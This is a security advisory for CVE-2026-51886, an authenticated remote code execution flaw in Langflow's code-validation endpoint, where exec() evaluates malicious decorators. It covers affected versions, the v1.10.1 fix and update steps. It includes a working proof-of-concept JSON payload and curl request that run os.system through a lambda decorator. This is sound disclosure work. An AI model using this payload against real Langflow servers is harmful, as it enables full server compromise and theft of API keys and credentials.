SA-26-678 High

Langflow: Title Authenticated Remote Code Execution in validate_code via Malicious Decorators Description

Langflow

Severity
High, CVSS 8.8
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Record
CVE-2026-51886
Affects
Langflow
Known exploited
Not listed in the CISA Known Exploited Vulnerabilities catalog
Published
Record first published by the source
October 5, 2026
Source last modified
October 5, 2026

Description

###Summary: A critical Authenticated Remote Code Execution (RCE) vulnerability exists in the validate_code function of Langflow. The /api/v1/validate/code endpoint, meant to validate user-supplied code, leverages Python's exec() function. While it attempts to restrict execution to function definitions, it fails to account for decorators, which are evaluated at definition time. This allows any authenticated user to execute arbitrary code on the server, resulting in a full system compromise.

Details

The vulnerability is located in src/lfx/src/lfx/custom/validate.py(exposed via src/backend/base/langflow/api/v1/validate.py).

The validate_code function parses user input using ast. When it encounters a FunctionDef node, it compiles and executes it to check for extensive errors:

# src/lfx/src/lfx/custom/validate.py
if isinstance(node, ast.FunctionDef):
    code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
    # ...
    # exec_globals creates a restricted-looking scope, but standard builtins are available
    exec(code_obj, exec_globals)

By design, executing a function definition (def func(): ...) does not execute the function body. However, Python immediately evaluates decorators attached to the function definition. An attacker can supply a malicious decorator (e.g., a lambda or function call) to achieve immediate code execution during the "validation" phase.

Affected Versions

- /api/v1/validate/code had no authentication at all until commit 3fed9fe1b5 ("fix: Add authentication to various endpoints", #10977), first released in v1.7.2. Before that release, this same exec() sink was reachable unauthenticated. - From v1.7.2 through v1.10.0, the endpoint required a valid session but the exec() sink was untouched, so any authenticated user (or any user at all under AUTO_LOGIN) could trigger RCE via a malicious decorator as described below. - Fixed in v1.10.1 — see Fix section.

PoC

- Authenticate as any user (acquire a valid access token or API key). - Send a POST request to /api/v1/validate/code with the following JSON payload:

{
  "code": "@lambda x: (__import__('os').system('touch /tmp/pwned'), x)[1]\ndef pwned():\n    pass"
}

Curl Example

curl -X POST "http://<TARGET_HOST>/api/v1/validate/code" \
     -H "Authorization: Bearer <YOUR_TOKEN>" \
     -H "Content-Type: application/json" \
     -d '{"code": "@lambda x: (__import__(\"os\").system(\"echo RCE_SUCCESS > /tmp/pwned\"), x)[1]\ndef pwned():\n    pass"}'

Verify: Check the server file system. The file /tmp/pwned will be created.

Impact

This vulnerability results in Remote Code Execution (RCE).

Impacted Parties: Any user with access to the Langflow instance (Authenticated Users). Consequence: An attacker can execute arbitrary commands with the privileges of the process running Langflow. This allows reading sensitive environment variables (API keys, DB credentials), modifying files, or launching further attacks on the internal network.

Fix

Fixed in v1.10.1 by PR [#13696](https://github.com/langflow-ai/langflow/pull/13696) (commit e7c33dbaad, tracked as GHSA-2wcq-pvw2-xh7v): validate_code() in src/lfx/src/lfx/custom/validate.py no longer exec()s submitted FunctionDef nodes. It now only compile()s them to surface syntax/compile errors, which never evaluates decorators or default-argument expressions, closing this sink entirely.

This same fix independently resolves the different exploitation technique reported in duplicate advisory GHSA-xjq8-cqrm-7m4x (RCE via default-argument evaluation instead of a decorator). Both advisories share the exact same root-cause sink — the unconditional exec() in validate_code() — and differ only in which Python construct (decorator vs. default argument) is used to trigger execution at definition time. Credit for this finding is accordingly shared with the reporter of that duplicate.

Description quoted from the NVD record.

Who is affected

Langflow, a tool for building apps that use AI language models, has a flaw in the feature that checks code people submit to it. This flaw affects versions before v1.10.1. From v1.7.2 through v1.10.0, anyone who can log in can exploit it, and so can anyone at all when automatic login is turned on. Before v1.7.2, no login was needed. An attacker could run any commands on the server running Langflow, read sensitive settings such as API keys and database passwords, change files, or launch further attacks on your internal network. This flaw is rated High.

What to do

  1. The person who installed or runs Langflow for your organization should handle this. If an IT provider or vendor manages it for you, they should handle it.
  2. Update Langflow to version v1.10.1 or later. This version fixes the flaw in the feature that checks submitted code.
  3. If an IT provider or vendor runs Langflow for your organization, send them this advisory and ask when the update will be done.
  4. If your copy of Langflow is older than version v1.7.2, update it first, because the flaw can be used there without logging in.

Analysis written from the source record as of October 5, 2026 and reviewed before publishing.

Sources

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